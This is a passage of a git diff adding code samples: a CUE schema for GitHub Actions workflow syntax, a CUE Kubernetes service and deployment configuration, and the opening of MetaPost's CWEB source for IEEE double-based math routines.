+			// enable GitHub Actions in the Actions tab of the forked
+			// repository.
+			// The permissions for the GITHUB_TOKEN in forked repositories is
+			// read-only. For more information about the GITHUB_TOKEN, see
+			// https://help.github.com/en/articles/virtual-environments-for-github-actions.
+			pull_request?: #ref & {
+				types?: #types & [..."assigned" | "unassigned" | "labeled" | "unlabeled" | "opened" | "edited" | "closed" | "reopened" | "synchronize" | "ready_for_review" | "locked" | "unlocked" | "review_requested" | "review_request_removed"] | *["opened", "synchronize", "reopened"]
+
+				{[=~"^(branche|tag|path)s(-ignore)?$" & !~"^(types)$"]: _}
+			}
+
+			// Runs your workflow anytime the pull_request_review event
+			// occurs. More than one activity type triggers this event. For
+			// information about the REST API, see
+			// https://developer.github.com/v3/pulls/reviews.
+			// Note: Workflows do not run on private base repositories when
+			// you open a pull request from a forked repository.
+			// When you create a pull request from a forked repository to the
+			// base repository, GitHub sends the pull_request event to the
+			// base repository and no pull request events occur on the forked
+			// repository.
+			// Workflows don't run on forked repositories by default. You must
+			// enable GitHub Actions in the Actions tab of the forked
+			// repository.
+			// The permissions for the GITHUB_TOKEN in forked repositories is
+			// read-only. For more information about the GITHUB_TOKEN, see
+			// https://help.github.com/en/articles/virtual-environments-for-github-actions.
+			pull_request_review?: #eventObject & {
+				types?: #types & [..."submitted" | "edited" | "dismissed"] | *["submitted", "edited", "dismissed"]
+				...
+			}
+
+			// Runs your workflow anytime a comment on a pull request's
+			// unified diff is modified, which triggers the
+			// pull_request_review_comment event. More than one activity type
+			// triggers this event. For information about the REST API, see
+			// https://developer.github.com/v3/pulls/comments.
+			// Note: Workflows do not run on private base repositories when
+			// you open a pull request from a forked repository.
+			// When you create a pull request from a forked repository to the
+			// base repository, GitHub sends the pull_request event to the
+			// base repository and no pull request events occur on the forked
+			// repository.
+			// Workflows don't run on forked repositories by default. You must
+			// enable GitHub Actions in the Actions tab of the forked
+			// repository.
+			// The permissions for the GITHUB_TOKEN in forked repositories is
+			// read-only. For more information about the GITHUB_TOKEN, see
+			// https://help.github.com/en/articles/virtual-environments-for-github-actions.
+			pull_request_review_comment?: #eventObject & {
+				types?: #types & [..."created" | "edited" | "deleted"] | *["created", "edited", "deleted"]
+				...
+			}
+
+			// This event is similar to pull_request, except that it runs in
+			// the context of the base repository of the pull request, rather
+			// than in the merge commit. This means that you can more safely
+			// make your secrets available to the workflows triggered by the
+			// pull request, because only workflows defined in the commit on
+			// the base repository are run. For example, this event allows
+			// you to create workflows that label and comment on pull
+			// requests, based on the contents of the event payload.
+			pull_request_target?: #ref & {
+				types?: #types & [..."assigned" | "unassigned" | "labeled" | "unlabeled" | "opened" | "edited" | "closed" | "reopened" | "synchronize" | "ready_for_review" | "locked" | "unlocked" | "review_requested" | "review_request_removed"] | *["opened", "synchronize", "reopened"]
+
+				{[=~"^(branche|tag|path)s(-ignore)?$" & !~"^(types)$"]: _}
+			}
+
+			// Runs your workflow when someone pushes to a repository branch,
+			// which triggers the push event.
+			// Note: The webhook payload available to GitHub Actions does not
+			// include the added, removed, and modified attributes in the
+			// commit object. You can retrieve the full commit object using
+			// the REST API. For more information, see
+			// https://developer.github.com/v3/repos/commits/#get-a-single-commit.
+			push?: #ref & {
+				{[=~"^(branche|tag|path)s(-ignore)?$" & !~"^()$"]: _}
+			}
+
+			// Runs your workflow anytime a package is published or updated.
+			// For more information, see
+			// https://help.github.com/en/github/managing-packages-with-github-packages.
+			registry_package?: #eventObject & {
+				types?: #types & [..."published" | "updated"] | *["published", "updated"]
+				...
+			}
+
+			// Runs your workflow anytime the release event occurs. More than
+			// one activity type triggers this event. For information about
+			// the REST API, see
+			// https://developer.github.com/v3/repos/releases/ in the GitHub
+			// Developer documentation.
+			release?: #eventObject & {
+				types?: #types & [..."published" | "unpublished" | "created" | "edited" | "deleted" | "prereleased" | "released"] | *["published", "unpublished", "created", "edited", "deleted", "prereleased", "released"]
+				...
+			}
+
+			// Runs your workflow anytime the status of a Git commit changes,
+			// which triggers the status event. For information about the
+			// REST API, see https://developer.github.com/v3/repos/statuses/.
+			status?: #eventObject
+
+			// Runs your workflow anytime the watch event occurs. More than
+			// one activity type triggers this event. For information about
+			// the REST API, see
+			// https://developer.github.com/v3/activity/starring/.
+			watch?: #eventObject
+
+			// You can now create workflows that are manually triggered with
+			// the new workflow_dispatch event. You will then see a 'Run
+			// workflow' button on the Actions tab, enabling you to easily
+			// trigger a run.
+			workflow_dispatch?: null | bool | number | string | [...] | {
+				// Input parameters allow you to specify data that the action
+				// expects to use during runtime. GitHub stores input parameters
+				// as environment variables. Input ids with uppercase letters are
+				// converted to lowercase during runtime. We recommended using
+				// lowercase input ids.
+				inputs?: {
+					{[=~"^[_a-zA-Z][a-zA-Z0-9_-]*$" & !~"^()$"]: {
+						// A string description of the input parameter.
+						description: string
+
+						// A string shown to users using the deprecated input.
+						deprecationMessage?: string
+
+						// A boolean to indicate whether the action requires the input
+						// parameter. Set to true when the parameter is required.
+						required: bool
+
+						// A string representing the default value. The default value is
+						// used when an input parameter isn't specified in a workflow
+						// file.
+						default?: string
+					}}
+				}
+				...
+			}
+
+			// This event occurs when a workflow run is requested or
+			// completed, and allows you to execute a workflow based on the
+			// finished result of another workflow. For example, if your
+			// pull_request workflow generates build artifacts, you can
+			// create a new workflow that uses workflow_run to analyze the
+			// results and add a comment to the original pull request.
+			workflow_run?: #eventObject & {
+				types?:     #types & [..."requested" | "completed"] | *["requested", "completed"]
+				workflows?: [...string] & [_, ...]
+
+				{[=~"^branches(-ignore)?$" & !~"^(types|workflows)$"]: _}
+				...
+			}
+
+			// You can use the GitHub API to trigger a webhook event called
+			// repository_dispatch when you want to trigger a workflow for
+			// activity that happens outside of GitHub. For more information,
+			// see
+			// https://developer.github.com/v3/repos/#create-a-repository-dispatch-event.
+			// To trigger the custom repository_dispatch webhook event, you
+			// must send a POST request to a GitHub API endpoint and provide
+			// an event_type name to describe the activity type. To trigger a
+			// workflow run, you must also configure your workflow to use the
+			// repository_dispatch event.
+			repository_dispatch?: #eventObject
+
+			// You can schedule a workflow to run at specific UTC times using
+			// POSIX cron syntax
+			// (https://pubs.opengroup.org/onlinepubs/9699919799/utilities/crontab.html#tag_20_25_07).
+			// Scheduled workflows run on the latest commit on the default or
+			// base branch. The shortest interval you can run scheduled
+			// workflows is once every 5 minutes.
+			// Note: GitHub Actions does not support the non-standard syntax
+			// @yearly, @monthly, @weekly, @daily, @hourly, and @reboot.
+			// You can use crontab guru (https://crontab.guru/). to help
+			// generate your cron syntax and confirm what time it will run.
+			// To help you get started, there is also a list of crontab guru
+			// examples (https://crontab.guru/examples.html).
+			schedule?: [...null | bool | number | string | [...] | {
+				cron?: =~"^(((\\d+,)+\\d+|((\\d+|\\*)\\/\\d+|JAN|FEB|MAR|APR|MAY|JUN|JUL|AUG|SEP|OCT|NOV|DEC)|(\\d+-\\d+)|\\d+|\\*|MON|TUE|WED|THU|FRI|SAT|SUN) ?){5,7}$"
+			}] & [_, ...]
+		}
+
+		// A map of environment variables that are available to all jobs
+		// and steps in the workflow.
+		env?: #env
+
+		// A map of default settings that will apply to all jobs in the
+		// workflow.
+		defaults?: #defaults
+
+		// A workflow run is made up of one or more jobs. Jobs run in
+		// parallel by default. To run jobs sequentially, you can define
+		// dependencies on other jobs using the jobs.<job_id>.needs
+		// keyword.
+		// Each job runs in a fresh instance of the virtual environment
+		// specified by runs-on.
+		// You can run an unlimited number of jobs as long as you are
+		// within the workflow usage limits. For more information, see
+		// https://help.github.com/en/github/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#usage-limits.
+		jobs: {
+			{[=~"^[_a-zA-Z][a-zA-Z0-9_-]*$" & !~"^()$"]: {
+				// The name of the job displayed on GitHub.
+				name?: string
+
+				// Identifies any jobs that must complete successfully before this
+				// job will run. It can be a string or array of strings. If a job
+				// fails, all jobs that need it are skipped unless the jobs use a
+				// conditional statement that causes the job to continue.
+				needs?: [...#name] & [_, ...] | #name
+
+				// The type of machine to run the job on. The machine can be
+				// either a GitHub-hosted runner, or a self-hosted runner.
+				"runs-on": "macos-10.15" | "macos-11.0" | "macos-latest" | "self-hosted" | "ubuntu-16.04" | "ubuntu-18.04" | "ubuntu-20.04" | "ubuntu-latest" | "windows-2016" | "windows-2019" | "windows-latest" | (["self-hosted"] | ["self-hosted", #machine] | ["self-hosted", #architecture] | ["self-hosted", #machine, #architecture] | ["self-hosted", #architecture, #machine]) & [...] | #expressionSyntax
+
+				// The environment that the job references.
+				environment?: string | #environment
+
+				// A map of outputs for a job. Job outputs are available to all
+				// downstream jobs that depend on this job.
+				outputs?: {
+					[string]: string
+				}
+
+				// A map of environment variables that are available to all steps
+				// in the job.
+				env?: #env
+
+				// A map of default settings that will apply to all steps in the
+				// job.
+				defaults?: #defaults
+
+				// You can use the if conditional to prevent a job from running
+				// unless a condition is met. You can use any supported context
+				// and expression to create a conditional.
+				// Expressions in an if conditional do not require the ${{ }}
+				// syntax. For more information, see
+				// https://help.github.com/en/articles/contexts-and-expression-syntax-for-github-actions.
+				if?: string
+
+				// A job contains a sequence of tasks called steps. Steps can run
+				// commands, run setup tasks, or run an action in your
+				// repository, a public repository, or an action published in a
+				// Docker registry. Not all steps run actions, but all actions
+				// run as a step. Each step runs in its own process in the
+				// virtual environment and has access to the workspace and
+				// filesystem. Because steps run in their own process, changes to
+				// environment variables are not preserved between steps. GitHub
+				// provides built-in steps to set up and complete a job.
+				steps?: [...{
+					// A unique identifier for the step. You can use the id to
+					// reference the step in contexts. For more information, see
+					// https://help.github.com/en/articles/contexts-and-expression-syntax-for-github-actions.
+					id?: string
+
+					// You can use the if conditional to prevent a step from running
+					// unless a condition is met. You can use any supported context
+					// and expression to create a conditional.
+					// Expressions in an if conditional do not require the ${{ }}
+					// syntax. For more information, see
+					// https://help.github.com/en/articles/contexts-and-expression-syntax-for-github-actions.
+					if?: string
+
+					// A name for your step to display on GitHub.
+					name?: string
+
+					// Selects an action to run as part of a step in your job. An
+					// action is a reusable unit of code. You can use an action
+					// defined in the same repository as the workflow, a public
+					// repository, or in a published Docker container image
+					// (https://hub.docker.com/).
+					// We strongly recommend that you include the version of the
+					// action you are using by specifying a Git ref, SHA, or Docker
+					// tag number. If you don't specify a version, it could break
+					// your workflows or cause unexpected behavior when the action
+					// owner publishes an update.
+					// - Using the commit SHA of a released action version is the
+					// safest for stability and security.
+					// - Using the specific major action version allows you to receive
+					// critical fixes and security patches while still maintaining
+					// compatibility. It also assures that your workflow should still
+					// work.
+					// - Using the master branch of an action may be convenient, but
+					// if someone releases a new major version with a breaking
+					// change, your workflow could break.
+					// Some actions require inputs that you must set using the with
+					// keyword. Review the action's README file to determine the
+					// inputs required.
+					// Actions are either JavaScript files or Docker containers. If
+					// the action you're using is a Docker container you must run the
+					// job in a Linux virtual environment. For more details, see
+					// https://help.github.com/en/articles/virtual-environments-for-github-actions.
+					uses?: string
+
+					// Runs command-line programs using the operating system's shell.
+					// If you do not provide a name, the step name will default to
+					// the text specified in the run command.
+					// Commands run using non-login shells by default. You can choose
+					// a different shell and customize the shell used to run
+					// commands. For more information, see
+					// https://help.github.com/en/actions/automating-your-workflow-with-github-actions/workflow-syntax-for-github-actions#using-a-specific-shell.
+					// Each run keyword represents a new process and shell in the
+					// virtual environment. When you provide multi-line commands,
+					// each line runs in the same shell.
+					run?: string, "working-directory"?: #["working-directory"], shell?: #shell
+
+					// A map of the input parameters defined by the action. Each input
+					// parameter is a key/value pair. Input parameters are set as
+					// environment variables. The variable is prefixed with INPUT_
+					// and converted to upper case.
+					with?: #env & {
+						args?: string, entrypoint?: string, ...
+					}
+
+					// Sets environment variables for steps to use in the virtual
+					// environment. You can also set environment variables for the
+					// entire workflow or a job.
+					env?: #env
+
+					// Prevents a job from failing when a step fails. Set to true to
+					// allow a job to pass when this step fails.
+					"continue-on-error"?: bool | #expressionSyntax | *false
+
+					// The maximum number of minutes to run the step before killing
+					// the process.
+					"timeout-minutes"?: number
+				}] & [_, ...]
+
+				// The maximum number of minutes to let a workflow run before
+				// GitHub automatically cancels it. Default: 360
+				"timeout-minutes"?: number | *360
+
+				// A strategy creates a build matrix for your jobs. You can define
+				// different variations of an environment to run each job in.
+				strategy?: {
+					// A build matrix is a set of different configurations of the
+					// virtual environment. For example you might run a job against
+					// more than one supported version of a language, operating
+					// system, or tool. Each configuration is a copy of the job that
+					// runs and reports a status.
+					// You can specify a matrix by supplying an array for the
+					// configuration options. For example, if the GitHub virtual
+					// environment supports Node.js versions 6, 8, and 10 you could
+					// specify an array of those versions in the matrix.
+					// When you define a matrix of operating systems, you must set the
+					// required runs-on keyword to the operating system of the
+					// current job, rather than hard-coding the operating system
+					// name. To access the operating system name, you can use the
+					// matrix.os context parameter to set runs-on. For more
+					// information, see
+					// https://help.github.com/en/articles/contexts-and-expression-syntax-for-github-actions.
+					matrix: ({
+						...
+					} | #expressionSyntax) & {
+						{[=~"^(in|ex)clude$" & !~"^()$"]: [...{
+											[string]: #configuration
+						}] & [_, ...]}
+						{[!~"^(in|ex)clude$" & !~"^()$"]: [...#configuration] & [_, ...]}
+					}
+
+					// When set to true, GitHub cancels all in-progress jobs if any
+					// matrix job fails. Default: true
+					"fail-fast"?: bool | *true
+
+					// The maximum number of jobs that can run simultaneously when
+					// using a matrix job strategy. By default, GitHub will maximize
+					// the number of jobs run in parallel depending on the available
+					// runners on GitHub-hosted virtual machines.
+					"max-parallel"?: number
+				}
+
+				// Prevents a workflow run from failing when a job fails. Set to
+				// true to allow a workflow run to pass when this job fails.
+				"continue-on-error"?: bool | #expressionSyntax
+
+				// A container to run any steps in a job that don't already
+				// specify a container. If you have steps that use both script
+				// and container actions, the container actions will run as
+				// sibling containers on the same network with the same volume
+				// mounts.
+				// If you do not set a container, all steps will run directly on
+				// the host specified by runs-on unless a step refers to an
+				// action configured to run in a container.
+				container?: string | #container
+
+				// Additional containers to host services for a job in a workflow.
+				// These are useful for creating databases or cache services like
+				// redis. The runner on the virtual machine will automatically
+				// create a network and manage the life cycle of the service
+				// containers.
+				// When you use a service container for a job or your step uses
+				// container actions, you don't need to set port information to
+				// access the service. Docker automatically exposes all ports
+				// between containers on the same network.
+				// When both the job and the action run in a container, you can
+				// directly reference the container by its hostname. The hostname
+				// is automatically mapped to the service name.
+				// When a step does not use a container action, you must access
+				// the service using localhost and bind the ports.
+				services?: {
+					[string]: #container
+				}
+			}}
+		}
+	}
+
+	#architecture: "ARM32" | "x64" | "x86"
+
+	#branch: #globs
+
+	#configuration: string | number | bool | {
+		[string]: #configuration
+	} | [...#configuration]
+
+	#container: {
+		// The Docker image to use as the container to run the action. The
+		// value can be the Docker Hub image name or a registry name.
+		image: string
+
+		// If the image's container registry requires authentication to
+		// pull the image, you can use credentials to set a map of the
+		// username and password. The credentials are the same values
+		// that you would provide to the `docker login` command.
+		credentials?: {
+			username?: string
+			password?: string
+			...
+		}
+
+		// Sets an array of environment variables in the container.
+		env?: #env
+
+		// Sets an array of ports to expose on the container.
+		ports?: [...number | string] & [_, ...]
+
+		// Sets an array of volumes for the container to use. You can use
+		// volumes to share data between services or other steps in a
+		// job. You can specify named Docker volumes, anonymous Docker
+		// volumes, or bind mounts on the host.
+		// To specify a volume, you specify the source and destination
+		// path: <source>:<destinationPath>
+		// The <source> is a volume name or an absolute path on the host
+		// machine, and <destinationPath> is an absolute path in the
+		// container.
+		volumes?: [...=~"^[^:]+:[^:]+$"] & [_, ...]
+
+		// Additional Docker container resource options. For a list of
+		// options, see
+		// https://docs.docker.com/engine/reference/commandline/create/#options.
+		options?: string
+	}
+
+	#defaults: run?: {
+		shell?:               #shell
+		"working-directory"?: #["working-directory"]
+	}
+
+	#env: [string]: bool | number | string
+
+	#environment: {
+		// The name of the environment configured in the repo.
+		name: string
+
+		// A deployment URL
+		url?: string
+	}
+
+	#event: "check_run" | "check_suite" | "create" | "delete" | "deployment" | "deployment_status" | "fork" | "gollum" | "issue_comment" | "issues" | "label" | "member" | "milestone" | "page_build" | "project" | "project_card" | "project_column" | "public" | "pull_request" | "pull_request_review" | "pull_request_review_comment" | "pull_request_target" | "push" | "registry_package" | "release" | "status" | "watch" | "workflow_dispatch" | "workflow_run" | "repository_dispatch"
+
+	#eventObject: null | {
+		...
+	}
+
+	#expressionSyntax: =~"^\\$\\{\\{.*\\}\\}$"
+
+	#globs: [...strings.MinRunes(1)] & [_, ...]
+
+	#machine: "linux" | "macos" | "windows"
+
+	#name: =~"^[_a-zA-Z][a-zA-Z0-9_-]*$"
+
+	#path: #globs
+
+	#ref: null | {
+		branches?:          #branch
+		"branches-ignore"?: #branch
+		tags?:              #branch
+		"tags-ignore"?:     #branch
+		paths?:             #path
+		"paths-ignore"?:    #path
+		...
+	}
+
+	#shell: (string | ("bash" | "pwsh" | "python" | "sh" | "cmd" | "powershell")) & string
+
+	#types: [_, ...]
+
+	#: "working-directory": string
+}
diff --git a/samples/CUE/kube.cue b/samples/CUE/kube.cue
new file mode 100644
index 0000000000..0ffedc787c
--- /dev/null
+++ b/samples/CUE/kube.cue
@@ -0,0 +1,108 @@
+package kube
+
+service: [ID=_]: {
+	apiVersion: "v1"
+	kind:       "Service"
+	metadata: {
+		name: ID
+		labels: {
+			app:       ID         // by convention
+			domain:    "prod"     // always the same in the given files
+			component: #Component // varies per directory
+		}
+	}
+	spec: {
+		// Any port has the following properties.
+		ports: [...{
+			port:     int
+			protocol: *"TCP" | "UDP" // from the Kubernetes definition
+			name:     string | *"client"
+		}]
+		selector: metadata.labels // we want those to be the same
+	}
+}
+
+deployment: [ID=_]: {
+	apiVersion: "apps/v1"
+	kind:       "Deployment"
+	metadata: name: ID
+	spec: {
+		// 1 is the default, but we allow any number
+		replicas: *1 | int
+		template: {
+			metadata: labels: {
+				app:       ID
+				domain:    "prod"
+				component: #Component
+			}
+			// we always have one namesake container
+			spec: containers: [{name: ID}]
+		}
+	}
+}
+
+#Component: string
+
+daemonSet: [ID=_]: _spec & {
+	apiVersion: "apps/v1"
+	kind:       "DaemonSet"
+	_name:      ID
+}
+
+statefulSet: [ID=_]: _spec & {
+	apiVersion: "apps/v1"
+	kind:       "StatefulSet"
+	_name:      ID
+}
+
+deployment: [ID=_]: _spec & {
+	apiVersion: "apps/v1"
+	kind:       "Deployment"
+	_name:      ID
+	spec: replicas: *1 | int
+}
+
+configMap: [ID=_]: {
+	metadata: name: ID
+	metadata: labels: component: #Component
+}
+
+_spec: {
+	_name: string
+
+	metadata: name: _name
+	metadata: labels: component: #Component
+	spec: selector: {}
+	spec: template: {
+		metadata: labels: {
+			app:       _name
+			component: #Component
+			domain:    "prod"
+		}
+		spec: containers: [{name: _name}]
+	}
+}
+
+// Define the _export option and set the default to true
+// for all ports defined in all containers.
+_spec: spec: template: spec: containers: [...{
+	ports: [...{
+		_export: *true | false // include the port in the service
+	}]
+}]
+
+for x in [deployment, daemonSet, statefulSet] for k, v in x {
+	service: "\(k)": {
+		spec: selector: v.spec.template.metadata.labels
+
+		spec: ports: [
+			for c in v.spec.template.spec.containers
+			for p in c.ports
+			if p._export {
+				let Port = p.containerPort // Port is an alias
+				port:       *Port | int
+				targetPort: *Port | int
+			},
+		]
+	}
+}
diff --git a/samples/CWeb/mpmathdouble.w b/samples/CWeb/mpmathdouble.w
new file mode 100644
index 0000000000..d5663b2df9
--- /dev/null
+++ b/samples/CWeb/mpmathdouble.w
@@ -0,0 +1,1467 @@
+% $Id: mpmathdouble.w 2070 2015-10-06 10:35:23Z luigi $
+%
+% This file is part of MetaPost;
+% the MetaPost program is in the public domain.
+% See the <Show version...> code in mpost.w for more info.
+
+% Here is TeX material that gets inserted after \input webmac
+
+\font\tenlogo=logo10 % font used for the METAFONT logo
+\font\logos=logosl10
+\def\MF{{\tenlogo META}\-{\tenlogo FONT}}
+\def\MP{{\tenlogo META}\-{\tenlogo POST}}
+
+\def\title{Math support functions for IEEE double based math}
+\pdfoutput=1
+
+@ Introduction.
+
+@c 
+#include <w2c/config.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <math.h>
+#include "mpmathdouble.h" /* internal header */
+#define ROUND(a) floor((a)+0.5)
+@h
+
+@ @c
+@<Declarations@>;
+
+@ @(mpmathdouble.h@>=
+#ifndef MPMATHDOUBLE_H
+#define  MPMATHDOUBLE_H 1
+#include "mplib.h"
+#include "mpmp.h" /* internal header */
+@<Internal library declarations@>;
+#endif
+
+@* Math initialization.
+
+First, here are some very important constants.
+
+@d PI 3.1415926535897932384626433832795028841971 
+@d fraction_multiplier 4096.0
+@d angle_multiplier 16.0
+
+@ Here are the functions that are static as they are not used elsewhere
+
+@<Declarations@>=
+static void mp_double_scan_fractional_token (MP mp, int n);
+static void mp_double_scan_numeric_token (MP mp, int n);
+static void mp_ab_vs_cd (MP mp, mp_number *ret, mp_number a, mp_number b, mp_number c, mp_number d);
+static void mp_double_ab_vs_cd (MP mp, mp_number *ret, mp_number a, mp_number b, mp_number c, mp_number d);
+static void mp_double_crossing_point (MP mp, mp_number *ret, mp_number a, mp_number b, mp_number c);
+static void mp_number_modulo (mp_number *a, mp_number b);
+static void mp_double_print_number (MP mp, mp_number n);
+static char * mp_double_number_tostring (MP mp, mp_number n);
+static void mp_double_slow_add (MP mp, mp_number *ret, mp_number x_orig, mp_number y_orig);
+static void mp_double_square_rt (MP mp, mp_number *ret, mp_number x_orig);
+static void mp_double_sin_cos (MP mp, mp_number z_orig, mp_number *n_cos, mp_number *n_sin);
+static void mp_init_randoms (MP mp, int seed);
+static void mp_number_angle_to_scaled (mp_number *A);
+static void mp_number_fraction_to_scaled (mp_number *A);
+static void mp_number_scaled_to_fraction (mp_number *A);
+static void mp_number_scaled_to_angle (mp_number *A);
+static void mp_double_m_unif_rand (MP mp, mp_number *ret, mp_number x_orig);
+static void mp_double_m_norm_rand (MP mp, mp_number *ret);
+static void mp_double_m_exp (MP mp, mp_number *ret, mp_number x_orig);
+static void mp_double_m_log (MP mp, mp_number *ret, mp_number x_orig);
+static void mp_double_pyth_sub (MP mp, mp_number *r, mp_number a, mp_number b);
+static void mp_double_pyth_add (MP mp, mp_number *r, mp_number a, mp_number b);
+static void mp_double_n_arg (MP mp, mp_number *ret, mp_number x, mp_number y);
+static void mp_double_velocity (MP mp, mp_number *ret, mp_number st, mp_number ct, mp_number sf,  mp_number cf, mp_number t);
+static void mp_set_double_from_int(mp_number *A, int B);
+static void mp_set_double_from_boolean(mp_number *A, int B);
+static void mp_set_double_from_scaled(mp_number *A, int B);
+static void mp_set_double_from_addition(mp_number *A, mp_number B, mp_number C);
+static void mp_set_double_from_substraction (mp_number *A, mp_number B, mp_number C);
+static void mp_set_double_from_div(mp_number *A, mp_number B, mp_number C);
+static void mp_set_double_from_mul(mp_number *A, mp_number B, mp_number C);
+static void mp_set_double_from_int_div(mp_number *A, mp_number B, int C);
+static void mp_set_double_from_int_mul(mp_number *A, mp_number B, int C);
+static void mp_set_double_from_of_the_way(MP mp, mp_number *A, mp_number t, mp_number B, mp_number C);
+static void mp_number_negate(mp_number *A);
+static void mp_number_add(mp_number *A, mp_number B);
+static void mp_number_substract(mp_number *A, mp_number B);
+static void mp_number_half(mp_number *A);
+static void mp_number_halfp(mp_number *A);
+static void mp_number_double(mp_number *A);
+static void mp_number_add_scaled(mp_number *A, int B); /* also for negative B */
+static void mp_number_multiply_int(mp_number *A, int B);
+static void mp_number_divide_int(mp_number *A, int B);
+static void mp_double_abs(mp_number *A);   
+static void mp_number_clone(mp_number *A, mp_number B);
+static void mp_number_swap(mp_number *A, mp_number *B);
+static int mp_round_unscaled(mp_number x_orig);
+static int mp_number_to_int(mp_number A);
+static int mp_number_to_scaled(mp_number A);
+static int mp_number_to_boolean(mp_number A);
+static double mp_number_to_double(mp_number A);
+static int mp_number_odd(mp_number A);
+static int mp_number_equal(mp_number A, mp_number B);
+static int mp_number_greater(mp_number A, mp_number B);
+static int mp_number_less(mp_number A, mp_number B);
+static int mp_number_nonequalabs(mp_number A, mp_number B);
+static void mp_number_floor (mp_number *i);
+static void mp_double_fraction_to_round_scaled (mp_number *x);
+static void mp_double_number_make_scaled (MP mp, mp_number *r, mp_number p, mp_number q);
+static void mp_double_number_make_fraction (MP mp, mp_number *r, mp_number p, mp_number q);
+static void mp_double_number_take_fraction (MP mp, mp_number *r, mp_number p, mp_number q);
+static void mp_double_number_take_scaled (MP mp, mp_number *r, mp_number p, mp_number q);
+static void mp_new_number (MP mp, mp_number *n, mp_number_type t) ;
+static void mp_free_number (MP mp, mp_number *n) ;
+static void mp_set_double_from_double(mp_number *A, double B);
+static void mp_free_double_math (MP mp);
+static void mp_double_set_precision (MP mp);
+
+@ And these are the ones that {\it are} used elsewhere
+
+@<Internal library declarations@>=
+void * mp_initialize_double_math (MP mp);
+
+@ 
+
+@d coef_bound ((7.0/3.0)*fraction_multiplier) /* |fraction| approximation to 7/3 */
+@d fraction_threshold 0.04096 /* a |fraction| coefficient less than this is zeroed */
+@d half_fraction_threshold (fraction_threshold/2) /* half of |fraction_threshold| */
+@d scaled_threshold 0.000122 /* a |scaled| coefficient less than this is zeroed */
+@d half_scaled_threshold (scaled_threshold/2) /* half of |scaled_threshold| */
+@d near_zero_angle (0.0256*angle_multiplier)  /* an angle of about 0.0256 */
+@d p_over_v_threshold 0x80000 /* TODO */
+@d equation_threshold 0.001
+@d tfm_warn_threshold 0.0625
+@d warning_limit pow(2.0,52.0)  /* this is a large value that can just be expressed without loss of precision */
+@d epsilon pow(2.0,-52.0)
+
+@c
+void * mp_initialize_double_math (MP mp) {
+  math_data *math = (math_data *)mp_xmalloc(mp,1,sizeof(math_data));
+  /* alloc */
+  math->allocate = mp_new_number;
+  math->free = mp_free_number;
+  mp_new_number (mp, &math->precision_default, mp_scaled_type);
+  math->precision_default.data.dval  = 16 * unity;
+  mp_new_number (mp, &math->precision_max, mp_scaled_type);
+  math->precision_max.data.dval  = 16 * unity;
+  mp_new_number (mp, &math->precision_min, mp_scaled_type);
+  math->precision_min.data.dval  = 16 * unity;
+  /* here are the constants for |scaled| objects */
+  mp_new_number (mp, &math->epsilon_t, mp_scaled_type);
+  math->epsilon_t.data.dval  = epsilon;
+  mp_new_number (mp, &math->inf_t, mp_scaled_type);
+  math->inf_t.data.dval  = EL_GORDO;
+  mp_new_number (mp, &math->warning_limit_t, mp_scaled_type);
+  math->warning_limit_t.data.dval  = warning_limit;
+  mp_new_number (mp, &math->one_third_inf_t, mp_scaled_type);
+  math->one_third_inf_t.data.dval = one_third_EL_GORDO;
+  mp_new_number (mp, &math->unity_t, mp_scaled_type);
+  math->unity_t.data.dval = unity;
+  mp_new_number (mp, &math->two_t, mp_scaled_type);
+  math->two_t.data.dval = two;
+  mp_new_number (mp, &math->three_t, mp_scaled_type);
+  math->three_t.data.dval = three;
+  mp_new_number (mp, &math->half_unit_t, mp_scaled_type);
+  math->half_unit_t.data.dval = half_unit;
+  mp_new_number (mp, &math->three_quarter_unit_t, mp_scaled_type);
+  math->three_quarter_unit_t.data.dval = three_quarter_unit;
+  mp_new_number (mp, &math->zero_t, mp_scaled_type);
+  /* |fractions| */
+  mp_new_number (mp, &math->arc_tol_k, mp_fraction_type);
+  math->arc_tol_k.data.dval = (unity/4096);  /* quit when change in arc length estimate reaches this */
+  mp_new_number (mp, &math->fraction_one_t, mp_fraction_type);
+  math->fraction_one_t.data.dval = fraction_one;
+  mp_new_number (mp, &math->fraction_half_t, mp_fraction_type);
+  math->fraction_half_t.data.dval = fraction_half;
+  mp_new_number (mp, &math->fraction_three_t, mp_fraction_type);
+  math->fraction_three_t.data.dval = fraction_three;
+  mp_new_number (mp, &math->fraction_four_t, mp_fraction_type);
+  math->fraction_four_t.data.dval = fraction_four;
+  /* |angles| */
+  mp_new_number (mp, &math->three_sixty_deg_t, mp_angle_type);
+  math->three_sixty_deg_t.data.dval = three_sixty_deg;
+  mp_new_number (mp, &math->one_eighty_deg_t, mp_angle_type);
+  math->one_eighty_deg_t.data.dval = one_eighty_deg;
+  /* various approximations */
+  mp_new_number (mp, &math->one_k, mp_scaled_type);
+  math->one_k.data.dval = 1.0/64 ; 
+  mp_new_number (mp, &math->sqrt_8_e_k, mp_scaled_type); 
+  math->sqrt_8_e_k.data.dval = 1.71552776992141359295 ;   /* $2^{16}\sqrt{8/e}\approx 112428.82793$ */
+  mp_new_number (mp, &math->twelve_ln_2_k, mp_fraction_type); 
+  math->twelve_ln_2_k.data.dval = 8.31776616671934371292 *256;  /* $2^{24}\cdot12\ln2\approx139548959.6165$ */
+  mp_new_number (mp, &math->coef_bound_k, mp_fraction_type);
+  math->coef_bound_k.data.dval = coef_bound;
+  mp_new_number (mp, &math->coef_bound_minus_1, mp_fraction_type);
+  math->coef_bound_minus_1.data.dval = coef_bound - 1/65536.0;
+  mp_new_number (mp, &math->twelvebits_3, mp_scaled_type);
+  math->twelvebits_3.data.dval = 1365 / 65536.0;  /* $1365\approx 2^{12}/3$ */
+  mp_new_number (mp, &math->twentysixbits_sqrt2_t, mp_fraction_type);
+  math->twentysixbits_sqrt2_t.data.dval = 94906266 / 65536.0;      /* $2^{26}\sqrt2\approx94906265.62$ */
+  mp_new_number (mp, &math->twentyeightbits_d_t, mp_fraction_type);
+  math->twentyeightbits_d_t.data.dval = 35596755 / 65536.0;        /* $2^{28}d\approx35596754.69$ */
+  mp_new_number (mp, &math->twentysevenbits_sqrt2_d_t, mp_fraction_type);
+  math->twentysevenbits_sqrt2_d_t.data.dval = 25170707 / 65536.0;  /* $2^{27}\sqrt2\,d\approx25170706.63$ */
+  /* thresholds */
+  mp_new_number (mp, &math->fraction_threshold_t, mp_fraction_type);
+  math->fraction_threshold_t.data.dval = fraction_threshold;
+  mp_new_number (mp, &math->half_fraction_threshold_t, mp_fraction_type);
